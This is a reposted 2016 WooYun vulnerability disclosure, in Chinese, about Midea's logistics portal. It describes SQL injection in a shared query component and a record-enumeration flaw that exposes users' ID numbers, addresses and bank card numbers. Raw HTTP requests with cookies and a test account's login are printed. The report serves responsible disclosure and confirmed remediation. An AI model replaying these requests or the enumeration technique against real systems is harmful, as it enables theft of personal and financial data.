美的某系统漏洞打包(SQL注入/信息遍历)影响用户身份证/地址/银行卡号信息

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-10: 细节已通知厂商并且等待厂商处理中
2016-05-10: 厂商已经确认,细节仅向厂商公开
2016-05-20: 细节向核心白帽子及相关领域专家公开
2016-05-30: 细节向普通白帽子公开
2016-06-09: 细节向实习白帽子公开
2016-06-24: 细节向公众公开

简要描述:

SQL注入/信息遍历,可影响用户身份证、地址、银行卡号信息

详细说明:

美的大物流系统

地址:http://lms.midea.com/module-portalweb/portalweb/view/index.shtml

QQ截图20160510105249.png



随意注册一个帐号进系统

chenjie密码xx123456

该系统内存在多处注入

QQ截图20160510105556.png



如基本信息中的几个查询框

code 区域
POST https://lms.midea.com/module-portalweb/portalweb/components/tangram/combo/popwin/query.shtml?cfgKey=bankInformation HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/EbSupplierEdit.shtml
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: lms.midea.com
Content-Length: 52
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlBWXFRdVFRXVlxcXVZHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@

banknumber=B00&page.currentPage=1&page.limitCount=10





参数banknumber

QQ截图20160510104429.png



QQ截图20160510104418.png



QQ截图20160510105714.png



QQ截图20160510110519.png





其实这个查询页面是个公用组件,很多查询都是调这个页面,只是参数不同,比如

code 区域
POST https://lms.midea.com/module-portalweb/portalweb/components/tangram/combo/popwin/query.shtml?cfgKey=selectCustomer HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/TransportationPlanList.shtml
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: lms.midea.com
Content-Length: 59
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlFTVFBQXFJVVFZUVFRHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@

pmCode=1&ebcuNameCn=1&page.currentPage=1&page.limitCount=10



参数ebcuNameCn

QQ截图20160510113548.png



QQ截图20160510113708.png

 

漏洞证明:

信息遍历

code 区域
POST https://lms.midea.com/module-portalweb/portalweb/portal/supplier/findBySupppliersCode.shtml HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/EbSupplierEdit.shtml
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: lms.midea.com
Content-Length: 23
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlBWXFRdVFRXVlxcXVZHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@

suppliersCode=HC0051797



通过对suppliersCode进行递减,可遍历已注册用户的信息

包括姓名、身份证、地址、银行卡号等信息

QQ截图20160510110016.png



QQ截图20160510110338.png



当然 如果有耐心等注入结果,数据会更全面点

修复方案:

参数化查询,权限控制

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-05-10 18:00

厂商回复:

感谢路人甲提醒,我们安排修复。

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:美的某系统漏洞打包(SQL注入/信息遍历)影响用户身份证/地址/银行卡号信息 - https://www.15qq.cn/wooyun/435.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知